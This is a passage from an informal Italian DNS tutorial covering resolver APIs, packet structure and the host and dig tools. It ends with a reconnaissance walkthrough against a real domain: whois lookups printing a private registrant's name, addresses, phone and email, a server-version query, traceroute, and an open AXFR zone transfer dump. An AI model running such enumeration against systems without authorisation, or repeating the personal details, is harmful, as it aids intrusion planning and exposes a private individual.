all'inizio, il sistema DNS non e` altro che un immenso database gerarchico distribuito, quindi possiamo usarlo per scambiare tantissimi tipi di informazione. Ma la domanda che ci sorge e`: vogliamo davvero usare tipi di risorse come le YellowPages per indicare quali sono le wellknown-service ports su una macchina? Le possibilita` di utilizzo sono tantissime, potete rifarvi agli rfc per conoscerle, ma quelle che potete trovare in giro sono quelle illustrate fino ad ora, ma davvero troveremo mai in giro un RR del tipo TELNET.TCP-port.Number.YP.? Spero di no, altrimenti vuol dire che ci sono davvero sistemisti che hanno meno idee di me su come passare il tempo in ufficio, eheheh =) 4. Implementazioni del protocollo Il protocollo DNS puo` venire implementato in due livelli: il primo, che e` quello piu` classico e che normalmente dobbiamo usare quando progettiamo del software di rete, e` l'utilizzo delle API per risolvere i nomi e poter cosi` creare connessioni tramite socket conoscendo non l'ip address, ma il FQDN degli endpoint. Principalemente le query DNS viaggiano su UDP, ma c'e` anche la possibilita` di avere delle risposte tramite query che utilizzano TCP, anche se i datagrammi sono preferiti nelle occasioni comuni. Principalemente ci sono due interfacce alla risoluzione dei nomi offerte per gli sviluppatori c, vediamole brevemente: 4.1. gethostbyname() gethostbyname(3): contiene principalmente gethostbyname(), gethostbyname2(), gethostbyaddr(), sethostent(), endhostent(). La prima funzione serve per risolvere gli host verso i loro IPv4 address, la gethostbyname2() permette di specificare anche la famiglia del risultato (ad esempio AF_INET6 per gli indirizzi IPv6), la gethostbyaddr() viene utilizzata per fare il reverse lookup, mentre la sethostent() e endhostent() servono per gestire le connessioni nel momento in cui si decida di forzare il protocollo TCP per l'interrogazione dei nameserver. Vediamo ora un esempio classico di procedura che, dato un host, restituisce il suo ip address, ma prima diamo un'occhiata al tipo di struttura ritornata da quasi tutte le funzioni precedenti, ovvero la struct hostent (dal file ): /* Description of data base entry for a single host. */ struct hostent { char *h_name; /* Official name of host. */ char **h_aliases; /* Alias list. */ int h_addrtype; /* Host address type. */ int h_length; /* Length of address. */ char **h_addr_list; /* List of addresses from name server. */ #define h_addr h_addr_list[0] /* Address, for backward compatibility. */ }; I campi che piu` ci stanno a cuore sono gli ultimi due, che tanto come vedete sono molto simili, in quanto l'ultimo e` solamente un define sul primo elemento della lista precedente. Quindi il nostro IPv4, se esistente, lo troveremo li`, ovviamente gia` in forma utilizzabile da una struttura in_addr e non nella forma dotted decimal :) Ecco qui il codice di una semplice procedura di risoluzione dei nomi, con la relativa chiamata per riempire il campo s_addr (la funzione e` una versione leggermente modificata di quella che uso di solito nei mie stupidi programmi, si potrebbe modificare per ottenere molte piu` informazioni e gestire in modo trasparente alla chiamata la risoluzione IPv6 o il riconoscimento di ip numerici che non necessitano di nessuna risoluzione, ma credo che sia meglio dividere gli ambiti per evitare confusioni). int resolv4(char *hostname, struct sockaddr_in *saddr) { struct hostent *host_data; // Query nameserver for hostname if((host_data = gethostbyname(hostname)) == NULL) { herror("resolv4"); return(-1); } // Fill the s_addr field memcpy(&saddr->sin_addr.s_addr, host_data->h_addr_list[0], host_data->h_length); return(0); } In questo esempio abbiamo inserito anche la funzione herror(), che serve ad avere informazioni riguardo all'eventuale errore che si e` verificato; potremmo ad esempio ottenere: resolv4: Host name lookup failure nel caso non fosse possibile ricavare l'ip. Una lista completa di questi comandi si trova nella manpage del comando gethostbyname(3). Siccome questa non vuole essere in nessun modo una guida sull'utilizzo delle API per i socket BSD, tralascero` l'invocazione, dato che mi sembra del tutto ovvia, o l'utilizzo della inet_addr(3) nel caso si passasse un ip in dotted decimal. Ricordate giusto che l'unico include aggiuntivo per queste funzioni di libreria e` . 4.2. getaddrinfo() L'utilizzo della getaddrinfo(3) serve per richiedere delle risoluzioni indipendentemente dal protocollo utilizzato, ritornando molte piu` informazioni della tradizionale gethostbyname(3), e oscurando in parte l'utilizzo della gethostbyname2(3) per la risoluzione di protocolli alternativi alla famiglia AF_INET. Personalmente ho usato con successo la getaddrinfo(3) per la risoluzione degli hostname appartenenti alla famiglia AF_INET6 (IPv6), quindi proporro` un esempio di risoluzione su tale traccia, lasciando al lettore curioso e intraprendente il compito di leggersi manpage e sorgenti per capire meglio come funziona il tutto (seee, non so se trovero` mai qualcuno con cosi` tanta buona volonta`, e soprattutto tempo da perdere =). Prima di poter chiamare la funzione bisogna inizializzare delle variabili da passare come parametri per una buona riuscita della risoluzione: entra quindi in gioco la struct addrinfo: vediamola. /* Structure to contain information about address of a service provider. */ struct addrinfo { int ai_flags; /* Input flags. */ int ai_family; /* Protocol family for socket. */ int ai_socktype; /* Socket type. */ int ai_protocol; /* Protocol for socket. */ int ai_addrlen; /* Length of socket address. */ struct sockaddr *ai_addr; /* Socket address for socket. */ char *ai_canonname; /* Canonical name for service location. */ struct addrinfo *ai_next; /* Pointer to next in list. */ }; Questo e` invece e` il prototipo della funzione getaddrinfo(3): int getaddrinfo(const char *nodename, const char *servname, const struct addrinfo *hints, struct addrinfo **res); nodename e` il nostro host da risolvere (da notare che in questo caso puo` essere anche un dotted decimal ip, ci pensa la funzione stessa a rendersene conto), servname lo inizializziamo a NULL, e poi riempiamo le due strutture addrinfo: la prima (hints) contiene una *maschera* rispetto alla quale verranno richieste le RR corrispondenti (possiamo forzare che l'ip sia IPv6 e non IPv4 ad esempio), mentre res e` una lista di risorse che ci vengono restituite dalla funzione. Vediamo ora un esempio, cosi' si capisce meglio; la seguente funzione riempie una struttura in6_addr con il risultato della risoluzione di un host verso il suo IPv6. int resolv6(char *hostname, struct sockaddr_in6 *saddr6) { struct addrinfo *iaddr = NULL, imatch; char *paddr; int ret; // Specify IPv6 request bzero(&imatch, sizeof(imatch)); imatch.ai_family = AF_INET6; // Get info if((ret = getaddrinfo(hostname, NULL, &imatch, &iaddr)) == 0) { paddr = (char *)malloc(iaddr->ai_addrlen); memcpy(paddr, iaddr->ai_addr, iaddr->ai_addrlen); freeaddrinfo(iaddr); // Fill the sin6_addr field memcpy(&saddr6->sin6_addr, &((struct sockaddr_in6 *)paddr)->sin6_addr, (size_t)sizeof(struct in6_addr)); free(paddr); return(0); } fprintf(stderr, "resolv6: %s\n", gai_strerror(ret)); return(-1); } Le uniche funzioni che non ho spiegato sono la freeaddrinfo(3), che non fa altro che liberare le risorse delle strutture allocate dalla getaddrinfo(3), e la gai_strerror(3) che aiuta la comprensione degli eventuali errori che si verificano durante la procedura. 5. Struttura di un pacchetto DNS (utilizzando il protocollo UDP) Le interfacce API forniscono un buon livello di flessibilita` per quello che riguarda la programmazione comune, ma come e` strutturato un pacchetto DNS nel suo profondo? Visto che oramai ci siamo vediamo un po' in dettaglio i campi che compongono la sua struttura e come sia possibile attraverso l'utilizzo dei socket di tipo SOCK_RAW creare query e answer DNS compatibili con lo standard prescritto. A questo punto, nonostante abbia perso un paio di mesi a studiarlo e a cercare di scrivere un programma che funzionasse (e che se faccio a tempo e non esce proprio una pirlata, scusate tanto la parolaccia, troverete prima o poi in giro), mi armo dello Stevens (per chi non lo conoscesse, e` il famoso TCP/IP Illustrated che trovate in fondo nelle references) e iniziamo... uhm, ehm, err... si` asynchro lo so che e` tuo e sono mesi che dovrei restituirtelo, ma e` cosi` bello che non voglio separarmene =) Dai, pazienta ancora poco che non so come ma ho convinto il braccine corte del mio capo a finanziarmi l'acquisto di un po' di materiale cartaceo... speriamo che non cambi idea, eheheh... ^_^; a proposito, non e` che avresti anche il volume 2 da prestarmi? :D La struttura del pacchetto DNS e` ovviamente composta dai due header standard (quello IP e quello UDP, ma e` anche fornito di un suo header particolare, che possiamo trovare nel file di include e si chiama, tanto per essere originali e univoci, HEADER. Eccolo qui come si presenta nella sua struttura standard (BYTE_ORDER == BIG_ENDIAN): typedef struct { unsigned id :16; /* query identification number */ /* fields in third byte */ unsigned qr: 1; /* response flag */ unsigned opcode: 4; /* purpose of message */ unsigned aa: 1; /* authoritative answer */ unsigned tc: 1; /* truncated message */ unsigned rd: 1; /* recursion desired */ /* fields in fourth byte */ unsigned ra: 1; /* recursion available */ unsigned unused :1; /* unused bits (MBZ as of 4.9.3a3) */ unsigned ad: 1; /* authentic data from named */ unsigned cd: 1; /* checking disabled by resolver */ unsigned rcode :4; /* response code */ /* remaining bytes */ unsigned qdcount :16; /* number of question entries */ unsigned ancount :16; /* number of answer entries */ unsigned nscount :16; /* number of authority entries */ unsigned arcount :16; /* number of resource entries */ } HEADER; (Per chi non fosse molto pratico di c, i membri della struct possono avere dimensioni predefinite con precisione di bit, specificate dopo i ':', quindi unsigned id :16 significa che il campo id e` un intero senza segno di dimensioni 16 bit -> 2 byte). Come si nota subito la struct si puo` dividere in sei sottozone di 16 bit ciascuna, per un totale di 12 byte; la prima e` l'id, ovvero un numero casuale che identifica il codice della transazione per impedire promiscuita` con altre richieste fatte contemporaneamente (e soprattutto per difendersi da un blind spoofing, che nel caso del protocollo UDP e` facilitato in mancanza del seq tipico del protocollo TCP). La seconda coppia di byte e` quella delle flags: la analizzeremo meglio in seguito. Le altre quattro sono destinate a contenere il numero di domande contenute in una query, le risposte ritornate nel caso il datagramma sia una risposta, quante di queste sono autoritative (ovvero il server e` perlomeno convinto di gestirle lui), e il numero di risorse aggiuntive presenti. Graficamente l'header del DNS risulta circa cosi`: 0 15 16 31 |------------------------------|------------------------------| | ID | flags | |------------------------------|------------------------------| | numero delle richieste | numero delle risposte | |------------------------------|------------------------------| | numero delle autoritative | numero delle addizzionali | |------------------------------|------------------------------| Vediamo ora i due byte delle flags come sono suddivisi: 0 15 |----|----------------|----|----|----|----|------------|----------------| | QR | opcode | AA | TC | RD | RA | zero | rcode | |----|----------------|----|----|----|----|------------|----------------| 1 4 1 1 1 1 3 4 QR: impostato a 0 per le query, a 1 per le risposte opcode: generalmente 0 (standard query) o 1 (inversa) AA: se impostato a 1 dichiara l'autoritativita` della risposta TC: risposta troncata (superiore ai 512 byte UDP) RD: richiesta di una query ricorsiva (se posto a 0 e` iterativa) RA: se a 1 il server supporta le query ricorsive zero: bit impostati a 0 (non sono utilizzati) rcode: return code (0 significa nessun errore) Appena dopo l'header del pacchetto DNS troviamo le risorse vere e proprie, che nel caso di una query conterranno i dati per i quali si richiede l'intervento del nameserver, o, nel caso di risposta, ci troveremo i valori ricercati dal client. Ecco come si presenta la richesta di una query. In testa alla RR troviamo il nome della risorsa richiesta, codificata nel seguente modo: ogni livello del dominio richiesto e` preceduto dal numero dei byte rappresentativi della sua lunghezza, e sono aboliti i punti; il tutto e` terminato da uno 0. Nel caso la query sia molto lunga, e` possibile ricorrere a uno schema di compressione, che pero` non verra` analizzato in questo documento. Vediamo un esempio che e` meglio, eh? =) Ecco come verrebbe trasformato bradipo.cds.lan.pkcrew.org: b r a d i p o . c d s . l a n . p k c r e w .o r g 7 b r a d i p o 3 c d s 3 l a n 6 p k c r e w 3 o r g 0 Ovviamente i numeri non sono intesi come carattere ASCII corrispondente, ma come valore effettivo. Appena dopo troviamo altri dati riguardanti la richiesta: 2 byte di query type (i valori riportati nel capitolo 3), e altri 2 byte di query class (IN, CHAOS, ecc...). Si complica invece un po' la storia quando si parla di risposte. Ecco come appaiono: all'inizio riportano la query a cui stanno rispondendo, dopo 2 byte di TTL (quanto tempo rimarra` in cache la risposta), 1 byte indicante la lunghezza della risposta, e infine la risposta vera e propria (ad esempio quattro byte per una richiesta di risoluzione IPv4). Questo e` quanto. 6. Software di analisi DNS (la pappa e` prontaaa) Per chi non avesse voglia di scriversi il suo client di interrogazione dei nameserver (eheheh vorrei ben vedere...), introduciamo ora veramente in modo superficiale (leggetevi le pagine man, fate prima =) due dei piu` comuni strumenti, utilissimi in molti casi: host(1) e dig(1). Ci sono anche altri tool, come ad esempio dnsquery(1) e nslookup(8) (il primo e` stato il mio *primo* tool di analisi DNS, bei ricordi :~~~ - il secondo a mio avviso e` brutto, ma brutto brutto!!! =) 6.1. host Questo e` un ottimo strumento, e l'ho preferito di gran lunga ad altri (come ad esempio nslookup, che si trova anche sotto WinNT4 e 5): attualmente lo uso per soddisfare tutti i miei bisogni (non pensate male, intendo i bisogni riguardanti il protocollo :P). Vediamo ora la sintassi con i principali parametri: host [-t ] [-c ] domain [nameserver] Il parametro -t, che abbiamo visto anche prima, serve per definire il tipo di RR che desideriamo (A, NS, ecc...), mentre il -c e` veramente poco usato (l'unica volta che l'ho usato e` stato giusto ora per provarlo :), perche` le classi di richiesta sono sempre di tipo IN, e l'unico vero bisogno di un utente comune al di fuori di questa classe e` sapere la versione del server, per la quale normalmente uso dig(1). Una feature carina di host(1) e` che se gli viene passato come indirizzo un ip esegue automaticamente il reverse lookup, senza perdere tempo a reversare i byte e aggiungerci in fondo il dominio, in-addr.arpa. o ip6.int. che sia. Il dominio e` quello che dobbiamo risolvere, eventualmente chiuso dal ., per evitare che si faccia path searching. Infatti se non viene specificato un nameserver al quale fare la richiesta, host analizza il file /etc/resolv.conf, leggendo li` i nomi dei DNS server, o servendosi del file /etc/hosts nel caso ci sia un'entry corrispondente; nel file /etc/resolv.conf puo` essere specificata anche una riga search, seguita da uno o piu` domini, che viene utilizzata per *combinare* il dominio passato come parametro a host, aggiungendoci in fondo i domini specificati dal file e provando a risolverli. Questo e` fatto perche`, ad esempio in una grossa lan dove le macchine si chiamano recidjvo.salalettura.lan.pkcrew.org., cyrax.saladroga.lan.pkcrew.org., specificando lan.pkcrew.org. sara` sufficiente usare recidjvo.salalettura o cyrax.saladroga (notare l'omissione del punto finale) per ricevere la risposta voluta. Un altro parametro molto comodo e` il -v, che permette un output molto piu` esauriente e fornisce gli ip degli indirizzi contenuti nelle risposte. Piu` tardi quando parleremo di zone transfer analizzeremo i parametri -a (equivalente a -t ANY, e -l). 6.2. dig dig(1), a essere sincero, lo uso solo in due occasioni, ovvero scoprire le versioni dei server DNS (ad esempio per controllare di aver modificato il reply), e per trovare gli indirizzi dei root-servers. Come strumento di interrogazione e` sicuramente un po' piu` approfondito di host(1), pero` a meno che non ci vogliamo proprio impuntare, non vale la pena di usarlo; il funzionamento e` molto simile, e di default visualizza ad esempio informazioni sugli header della risposta (ottenibile comunque anche con la flag -d di host(1)). Direi che visto il fatto che non sto a fare una manpage per questi comandi, scrivero` solo le due sintassi: dig (per la lista dei root-servers) dig version.bind chaos txt @nameserver (per ottenere la versione) Giusto per far capire, le righe sopra sono equivalenti a: host -t NS . -v -d host -t TXT -c CHAOS version.bind localhost -v -d Entrambi i pacchetti li trovate nel bind distribuito dalla ISC all'url http://www.isc.org/. 7. DNS e Whois Bene bene bene :) Questa in teoria dovrebbe essere la parte piu` divertente, anche perche` in fin dei conti chi se ne sbatte di saper forgiare un pacchetto DNS? (purtroppo devo rispondere "IO!", ma questo per colpa della mia insanita` mentale...), ovvero quella che riguarda la ricerca di informazioni su un determinato nodo della nostra mamma rete: ad esempio vogliamo sapere chi e` lo $*@`#?=* che ha osato farci un portscan, oppure vogliamo sapere chi c'e` dietro a un determinato sito che appreziamo tanto (ehhh, chissa` come mai, ma una mezza idea su quale sia ce l'ho :). Bene. Armiamoci di buona volonta` e iniziamo a fare le nostre belle ricerchine. Per fare cio` ci torna molto utile il protocollo DNS, anche perche` spesso questi *nodi* sono identificati da un ip, opure un hostname, da un dominio di posta... Insomma da qualcosa che sia riconducibile al nostro bel database distribuito. Un altro protocollo che in questi casi ci e` davvero molto utile e` quello Whois, che si avvicina molto al mondo del DNS: esso contiene tutte le informazioni riguardanti la registrazione dei domini e dei server DNS, quindi questi due strumenti uniti possono rivelarsi un buon inizio per avere le idee un po' piu` chiare su cosa stiamo cercando. Il server Whois, a differenza del server DNS, contiene anche informazioni su persone e luoghi, numeri di telefono e email, quindi permette un'analisi approfondita del nostro target. Facciamo un esempio pratico di Whois: cambiamo un po', anche perche` oramai l'admin di pornvalley.com ci odiera` a morte per tutto quello che abbiamo detto su di lui :) Uhm, pero` per mantenere viva l'attenzione spostiamoci su... whitehouse.com (.com mi raccomando, .gov e` quello della Casa Bianca e quelli sono cattiiivi =). Allora, primo passo: chiediamo al nostro server Whois di fiducia informazioni per il dominio whitehouse.com, che, essendo registrato, dovra` fornirci le informazioni che ci servono. [recidjvo@pkcrew:~]$ whois whitehouse.com -h rs.internic.net Whois Server Version 1.3 Domain names in the .com, .net, and .org domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. Domain Name: WHITEHOUSE.COM Registrar: REGISTER.COM, INC. Whois Server: whois.register.com Referral URL: www.register.com Name Server: NS.NJ.EXODUS.NET Name Server: NS2.EXODUS.NET Name Server: W101.WHITEHOUSE.COM Name Server: W102.WHITEHOUSE.COM Updated Date: 16-feb-2001 >>> Last update of whois database: Tue, 1 May 2001 11:46:32 EDT <<< The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and Registrars. Non molte informazioni, eh? :( Vabbe`, pero` in questo modo gia` conosciamo i nameserver, e per di piu` abbiamo il nome del server Whois presso il quale e` stato registrato il dominio. Proviamo a interrogare questo: [recidjvo@pkcrew:~]$ whois whitehouse.com -h whois.register.com [...] Organization: Dan Parisi Dan Parisi 295 Greenwich Street (Suite 184) New York, NY 10007 US Phone: (973) 503 1785 Email: dparisi@garden.net Registrar Name....: Register.com Registrar Whois...: whois.register.com Registrar Homepage: http://www.register.com Domain Name: WHITEHOUSE.COM Created on..............: Wed, May 21, 1997 Expires on..............: Sat, May 22, 2004 Record last updated on..: Fri, Feb 23, 2001 Administrative Contact: Dan Parisi Dan Parisi 295 Greenwich Street (Suite 184) New York, NY 10007 US Phone: (973) 503 1785 Email: dparisi@garden.net Technical Contact: Dan Parisi Dan Parisi 295 Greenwich Street (Suite 184) New York, NY 10007 US Phone: (973) 503 1785 Email: dparisi@garden.net Zone Contact: Dan Parisi Dan Parisi 295 Greenwich Street (Suite 184) New York, NY 10007 US Phone: (973) 503 1785 Email: dparisi@garden.net Domain servers in listed order: W101.WHITEHOUSE.COM 209.67.27.247 W102.WHITEHOUSE.COM 209.67.27.248 NS2.EXODUS.NET 207.82.198.150 NS.NJ.EXODUS.NET 206.79.7.50 Bene, gia` meglio =) Ora abbiamo i dati personali delle persone responsabili, un'inizio di idea di che locazione geografica dobbiamo dare al progetto e altri due domini da aggiungere alla lista: exodus.net e garden.net. Vediamo il server DNS che cosa ci dice... [recidjvo@pkcrew:~]$ host -a whitehouse.com. W101.whitehouse.com. Using domain server: Name: W101.whitehouse.com Address: 209.67.27.247 Aliases: rcode = 0 (Success), ancount=13 The following answer is not authoritative: The following answer is not verified as authentic by the server: whitehouse.com 71136 IN NS ns.nj.exodus.net whitehouse.com 71136 IN NS ns2.nj.exodus.net whitehouse.com 71136 IN NS w101.whitehouse.com whitehouse.com 71136 IN NS w102.whitehouse.com whitehouse.com 71136 IN NS web3.whitehouse.com whitehouse.com 71136 IN NS web4.whitehouse.com whitehouse.com 71136 IN NS prd4.wynn.com whitehouse.com 71136 IN NS wa3yre.wynn.com whitehouse.com 71136 IN NS ns.exodus.net whitehouse.com 77935 IN SOA w101.whitehouse.com root.w101.whitehouse.com( 1999012728 ;serial (version) 10800 ;refresh period 3600 ;retry refresh this often 604800 ;expiration period 86400 ;minimum TTL ) whitehouse.com 74737 IN MX 10 mail.whitehouse.com whitehouse.com 71136 IN NS ns2.exodus.net whitehouse.com 65204 IN A 209.67.27.247 For authoritative answers, see: whitehouse.com 71136 IN NS ns.nj.exodus.net whitehouse.com 71136 IN NS ns2.nj.exodus.net whitehouse.com 71136 IN NS w101.whitehouse.com whitehouse.com 71136 IN NS w102.whitehouse.com whitehouse.com 71136 IN NS web3.whitehouse.com whitehouse.com 71136 IN NS web4.whitehouse.com whitehouse.com 71136 IN NS prd4.wynn.com whitehouse.com 71136 IN NS wa3yre.wynn.com whitehouse.com 71136 IN NS ns.exodus.net whitehouse.com 71136 IN NS ns2.exodus.net Additional information: ns.nj.exodus.net 32642 IN A 206.79.7.50 ns2.nj.exodus.net 32642 IN A 209.1.10.234 Bene, direi che non c'e` molto di piu` di quello che gia` sapevamo... La prossima mossa e`, sempre usando il protocollo Whois, cercare di ottenere maggiori informazioni sul responsabile (Dan Parisi). [recidjvo@pkcrew.org:~]$ whois -h whois.networksolutions.com dparisi@garden.net [...] Parisi, Dan (DP996) dparisi@GARDEN.NET Dan Parisi Post Office Box 1009 Secaucus, NJ 07094 973-503-1785 Record last updated on 24-May-1999. Database last updated on 1-May-2001 21:20:00 EDT. [...] Ho usato whois.networksolutions.com come server Whois perche` per quanto riguarda la ricerca dei contatti non sempre sono ammesse query ricorsive, e qui si trova molta piu` roba che in altri server :) Ogni DNS server deve avere una registrazione (HOST Handle) per poter essere utilizzato: vediamola =) [recidjvo@pkcrew:~]$ whois W101.WHITEHOUSE.COM [...] Server Name: W101.WHITEHOUSE.COM IP Address: 209.67.27.247 Registrar: REGISTER.COM, INC. Whois Server: whois.register.com Referral URL: www.register.com [...] E cosi` per gli altri server. Ma se per caso ci fosse un PTR per questi server che non corrisponde con l'host segnato nella registrazione? Controlliamo!!! =) [recidjvo@pkcrew:~]$ host 209.67.27.247 247.27.67.209.IN-ADDR.ARPA domain name pointer www.whitehouse.com Wow, il server DNS corrisponde al server web! =) Ripetiamo tutto questo procedimento per tutti gli altri appunti che abbiamo nella nostra tabellina, e riempiamo fogli e fogli di informazioni =) Di certo ora abbiamo molte piu` informazioni, ma ci bastano? NOOO!!! (chi dice "SIII" e` solo che non vede l'ora di vedersi le donnine nude, eh, vecchio porcellone? =) Visto che il nostro traceroute oltre a tracciare, se non gli si specifica l'opzione -n cerca anche di risolvere gli ip in hostname, vediamo da che linee passa il nostro percorso. [recidjvo@pkcrew:~]$ traceroute whitehouse.com [... skip dei primi HOP, la mia rete =) ...] 6 * Serial3-1-0.GW3.MLN4.ALTER.NET (146.188.38.137) 150.516 ms 192.999 ms 7 323.at-2-0-0.XR1.MLN4.Alter.Net (146.188.4.226) 215.669 ms 170.289 ms 183.82 ms 8 95.at-3-0-0.TR1.PAR2.Alter.Net (146.188.5.17) 226.501 ms 217.036 ms 207.106 ms 9 SO-6-0-0.TR1.LND9.Alter.Net (146.188.8.166) 191.53 ms * 250.536 ms 10 so-6-0-0.IR1.NYC12.Alter.Net (146.188.15.50) 292.398 ms 281.089 ms 287.598 ms 11 so-0-0-0.IR1.NYC9.ALTER.NET (152.63.23.57) 255.314 ms 312.739 ms 322.168 ms 12 119.at-5-0-0.TR1.NYC9.ALTER.NET (152.63.1.114) 317.851 ms 313.32 ms 351.918 ms 13 * 187.ATM5-0.XR1.NYC4.ALTER.NET (152.63.21.121) 315.974 ms 372.969 ms 14 189.ATM6-0.GW3.NYC4.ALTER.NET (152.63.24.141) 333.965 ms 320.045 ms 337.12 ms 15 exodus-nyc4-oc12-gw.customer.alter.net (157.130.60.98) 334.771 ms 300.338 ms 303.457 ms 16 dcr03-g4-0.jrcy01.exodus.net (216.32.223.99) 291.824 ms * 332.755 ms 17 rsm01-vlan990.jrcy01.exodus.net (216.32.222.170) 344.35 ms 281.031 ms 301.97 ms 18 www.whitehouse.com (209.67.27.247) 302.995 ms 316.483 ms 326.041 ms Direi che questo tracciato si commenta da se =) Ancora qualcosina dai... prima della grande sorpresa finale =) Vediamo chi gestisce la zona di reverse: [recidjvo@pkcrew:~]$ host -t NS 27.67.209.in-addr.arpa. 27.67.209.in-addr.arpa name server ns.exodus.net 27.67.209.in-addr.arpa name server ns2.exodus.net [recidjvo@pkcrew:~]$ host -t NS 67.209.in-addr.arpa. 67.209.in-addr.arpa name server NS.EXODUS.NET 67.209.in-addr.arpa name server NS2.EXODUS.NET Ok, rimane solo un'ultima cosa da fare, che e` anche abbastanza divertente se ci riesce :) Quando prima parlavamo delle varie query che si possono fare, ho accennato brevemente alla AXFR, ovvero alla richiesta che di solito fa un nameserver posto in slave per scaricare *completamente* la zona dal nameserver principale. Il problema di questo trasferimento e` che se non specificato altrimenti, il namserver e` impostato per accettare a autorizzare trasferimenti di zona da *chiunque* glielo chieda =) Quindi rischiamo di avere la mappa completa del dominio che ci interessa (ripeto, anche se potrebbe essere un'incompetenza dell'admin - cosa che di solito e` ^__^ - non e` illegale - o almeno spero, bhuabuabbhuabhu :) Per fare cio` chiamiamo il comando host(1) con i parametri -a -l e vediamo se qualcuno dei nameserver autoritativi ci danno retta =) Se lo facciamo su pornvalley.com (siii, mitica ritorna =), otteniamo il seguente risultato: [recidjvo@pkcrew:~]$ host -a -l pornvalley.com rcode = 0 (Success), ancount=4 Found 1 addresses for NS2.MYDOMAIN.com Found 1 addresses for NS3.MYDOMAIN.com Found 1 addresses for NS4.MYDOMAIN.com Found 1 addresses for NS1.MYDOMAIN.com Trying 64.75.34.132 (Nada, qui l'admin si e` ricordato =) Vediamo invece su whitehouse.com... [recidjvo@pkcrew:~]$ host -v -a -l whitehouse.com rcode = 0 (Success), ancount=10 Found 1 addresses for web3.whitehouse.com Found 1 addresses for web4.whitehouse.com Found 1 addresses for prd4.wynn.com Found 1 addresses for wa3yre.wynn.com Found 1 addresses for ns.exodus.net Found 1 addresses for ns2.exodus.net Found 1 addresses for ns.nj.exodus.net Found 1 addresses for ns2.nj.exodus.net Trying 209.67.3.103 Connection failed, trying next server: No route to host Trying 209.67.3.104 whitehouse.com 86400 IN SOA w101.whitehouse.com root.w101.whitehouse.com( 1999012728 ;serial (version) 10800 ;refresh period 3600 ;retry refresh this often 604800 ;expiration period 86400 ;minimum TTL ) whitehouse.com 86400 IN NS ns.exodus.net whitehouse.com 86400 IN NS ns2.exodus.net whitehouse.com 86400 IN NS ns.nj.exodus.net whitehouse.com 86400 IN NS ns2.nj.exodus.net whitehouse.com 86400 IN NS w101.whitehouse.com whitehouse.com 86400 IN NS w102.whitehouse.com whitehouse.com 86400 IN NS web3.whitehouse.com whitehouse.com 86400 IN NS web4.whitehouse.com whitehouse.com 86400 IN NS prd4.wynn.com whitehouse.com 86400 IN NS wa3yre.wynn.com whitehouse.com 86400 IN MX 10 mail.whitehouse.com whitehouse.com 86400 IN A 209.67.27.247 chatzone.whitehouse.com 86400 IN CNAME chat.whitehouse.com sexchannel.whitehouse.com 86400 IN A 216.182.48.76 cash.whitehouse.com 86400 IN A 209.67.3.123 webmail.whitehouse.com 86400 IN A 209.67.27.245 webmail.whitehouse.com 86400 IN MX 10 webmail.whitehouse.com netmail.whitehouse.com 86400 IN CNAME mail.whitehouse.com members3.whitehouse.com 86400 IN A 209.67.3.116 realserv.whitehouse.com 86400 IN CNAME sexchannel.whitehouse.com mail.whitehouse.com 86400 IN MX 10 mail.whitehouse.com mail.whitehouse.com 86400 IN A 209.67.27.246 localhost.whitehouse.com 86400 IN A 127.0.0.1 signup.whitehouse.com 86400 IN MX 10 mail.whitehouse.com signup.whitehouse.com 86400 IN A 209.67.3.120 www.whitehouse.com 86400 IN A 209.67.27.247 w101.whitehouse.com 86400 IN A 209.67.3.101 web1.whitehouse.com 86400 IN A 209.67.3.101 store.whitehouse.com 86400 IN A 216.182.48.81 chat.whitehouse.com 86400 IN MX 10 mail.whitehouse.com chat.whitehouse.com 86400 IN A 209.67.27.249 w102.whitehouse.com 86400 IN MX 10 mail.whitehouse.com w102.whitehouse.com 86400 IN A 209.67.3.102 web3.whitehouse.com 86400 IN A 209.67.3.103 members.whitehouse.com 86400 IN MX 10 mail.whitehouse.com members.whitehouse.com 86400 IN A 209.67.3.122 members.whitehouse.com 86400 IN A 209.67.3.121 web4.whitehouse.com 86400 IN A 209.67.3.104 signup1.whitehouse.com 86400 IN MX 10 mail.whitehouse.com signup1.whitehouse.com 86400 IN A 209.67.3.123 ftp.whitehouse.com 86400 IN CNAME w101.whitehouse.com whitehouse.com 86400 IN SOA w101.whitehouse.com root.w101.whitehouse.com( 1999012728 ;serial (version) 10800 ;refresh period 3600 ;retry refresh this often 604800 ;expiration period 86400 ;minimum TTL ) BINGOOOOOOOOO!!!!!!!!! =) Stupidi stupidi STUPIDI admin :D E da qui la fantasia prende piede, se applicate ricorsivamente la procedura a tutte le info che avete diligentemente annotato nel vostro blocco, ottenete davvero tante di quelle informazioni sulla struttura della rete da conoscerla forse meglio dell'admin stesso, e tutto questo solo con host(1) e whois(1) =)) Ora capite come si possa trovare da passare il tempo quando la serata e` piovosa, quando il capo ti costringe a stare in ufficio anche se non ne hai punto voglia e fuori c'e` pure il sole, ma al parco dalla fanciulla che tanto lo sguardo fuggi in preda al rossore non ci puoi andare, ne` tantomeno girare in bicicletta spensierato ragionando sul senso della vita e sulla bellezza che ci circonda, tu, unico, raro essere incompreso da chi vorresti ti potesse amare, tu, pazzo sentimentalista che la gente addita come un tipo strano a dir poco, tu, che scrivi per poter trasmettere al mondo cio` che reputi importante e non vale la pena di tenerlo per te, tu che scrivi... oh, tu che scrivi! OHHH!!! Si`, tu che scrivi, MA CHE CACCHIO STAI SCRIVENDO?!?!?! =) Non sono impazzito, e` solo che voglio far vedere che in mezzo a tutte ste schifezze che scrivo si risolleva a volte il mio animo di poeta :P - MA VAFF...!!! :) (mannaggia se sto male =) 8. Future Come sicuramente non mi stanchero` mai di dire, il mondo di internet e` in continua evoluzione e quindi ogni giorno bisogna aspettarsi qualcosa di nuovo che fa capolino all'orizzonte. Tutta la comunita` spinge per migliorare sempre di piu` la situazione, introdurre sistemi piu` sicuri e dare piu` possibilita` alla gente. Vediamo ora brevemente aspetti che ancora non sono di uso comune, ma che presto lo diventeranno, integrandosi in questo modo di gestione della immense risorse della rete che sta prendendo sempre piu` piede a livello di utenza mondiale. 8.1. Nuovi organismi e TLD Di recente son stati proposti e approvati dei nuovi TLD che la ICANN ha accettato e che diventeranno standard tra poco. Personalemente l'introduzione di nuovi domini di primo livello non mi aggrada molto, perche` purtroppo ci sara` la corsa dei soliti sciacalli per registrare i nomi fino ad oggi considerati irraggiungibili. Tornando sul piano tecnico, ecco i sette nuovi TLD con relativa short: .aero - Compagnie di trasporto aereo .biz - Societa` di commercio .coop - Cooperative .info - Uso arbitrario .museum - 